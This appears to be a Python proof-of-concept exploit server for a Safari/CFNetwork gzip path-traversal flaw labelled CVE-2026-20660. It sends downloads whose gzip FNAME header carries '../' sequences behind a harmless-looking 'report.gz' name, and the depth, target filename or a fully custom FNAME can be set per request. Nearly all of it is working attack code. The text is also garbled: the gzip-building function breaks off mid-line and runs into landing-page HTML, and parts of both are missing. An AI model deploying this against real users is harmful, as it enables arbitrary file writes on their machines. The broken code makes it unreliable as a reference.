#!/usr/bin/env python3 """ CVE-2026-20660 PoC - CFNetwork NSGZipDecoder Path Traversal Root cause (patch diff): -[NSGZipDecoder filenameWithOriginalFilename:] previously returned gzip FNAME as-is; patched version applies lastPathComponent. Vector: Path traversal is in the gzip FNAME header (RFC 1952), not in Content-Disposition filename. """ import argparse import http.server import struct import sys import time import urllib.parse from datetime import datetime PROOF_TEXT = """\ CVE-2026-20660 - Proof of Arbitrary File Write =============================================== This file was written via gzip FNAME path traversal. Timestamp: {timestamp} FNAME payload: {fname} """ def make_gzip_with_fname(content: bytes, fname: str) -> bytes: """Build a valid gzip stream with custom FNAME.""" import zlib header = bytearray() header += b"\x1f\x8b" # ID1/ID2 header += b"\x08" # CM=deflate header += b"\x08" # FLG: FNAME present header += struct.pack(" CVE-2026-20660 PoC

CVE-2026-20660

CFNetwork NSGZipDecoder FNAME path traversal PoC

Clean HTTP filename: report.gz Malicious gzip FNAME: ../../cve-2026-20660-proof.txt Safari auto-opens .gz (if enabled): - vulnerable: uses FNAME directly - patched: lastPathComponent strips traversal
Trigger depth=2 Trigger depth=5 Write /tmp/proof.txt """ class ExploitHandler(http.server.BaseHTTPRequestHandler): traversal_depth = 2 target_name = "cve-2026-20660-proof.txt" def do_GET(self): parsed = urllib.parse.urlparse(self.path) query = urllib.parse.parse_qs(parsed.query) if parsed.path == "/": self._serve_landing() return if parsed.path == "/download": depth = int(query.get("depth", [str(self.traversal_depth)])[0]) custom_fname = query.get("fname", [None])[0] self._serve_exploit(depth, custom_fname) return self.send_error(404) def _serve_landing(self): page = LANDING_PAGE.encode("utf-8") self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(page))) self.end_headers() self.wfile.write(page) def _serve_exploit(self, depth: int, custom_fname: str | None = None): ts = datetime.now().isoformat() fname = custom_fname if custom_fname else "../" * depth + self.target_name text = PROOF_TEXT.format(timestamp=ts, fname=fname) gz_data = make_gzip_with_fname(text.encode("utf-8"), fname) clean_name = "report.gz" print("\n" + "=" * 60) print(f"Exploit triggered @ {ts}") print(f"Content-Disposition: {clean_name} (clean)") print(f"Gzip FNAME header: {fname} (malicious)") print(f"Payload size: {len(gz_data)} bytes") print(f"Client: {self.client_address[0]}") print("=" * 60) self.send_response(200) self.send_header("Content-Type", "application/gzip") self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"') self.send_header("Content-Length", str(len(gz_data))) self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(gz_data) def log_message(self, fmt, *args): sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n") def main(): parser = argparse.ArgumentParser(description="CVE-2026-20660 PoC server") parser.add_argument("--port", "-p", type=int, default=8888) parser.add_argument("--bind", "-b", default="0.0.0.0") parser.add_argument("--depth", "-d", type=int, default=2, help="Traversal depth (../ count)") parser.add_argument("--name", "-n", default="cve-2026-20660-proof.txt", help="Target filename") args = parser.parse_args() ExploitHandler.traversal_depth = args.depth ExploitHandler.target_name = args.name server = http.server.HTTPServer((args.bind, args.port), ExploitHandler) print("\nCVE-2026-20660 PoC Server") print(f"URL: http://{args.bind}:{args.port}/") print(f"Default depth: {args.depth}") print(f"Target name: {args.name}") print("Requires Safari: Open safe files after downloading = enabled\n") try: server.serve_forever() except KeyboardInterrupt: print("\nStopped.") server.server_close() if __name__ == "__main__": main()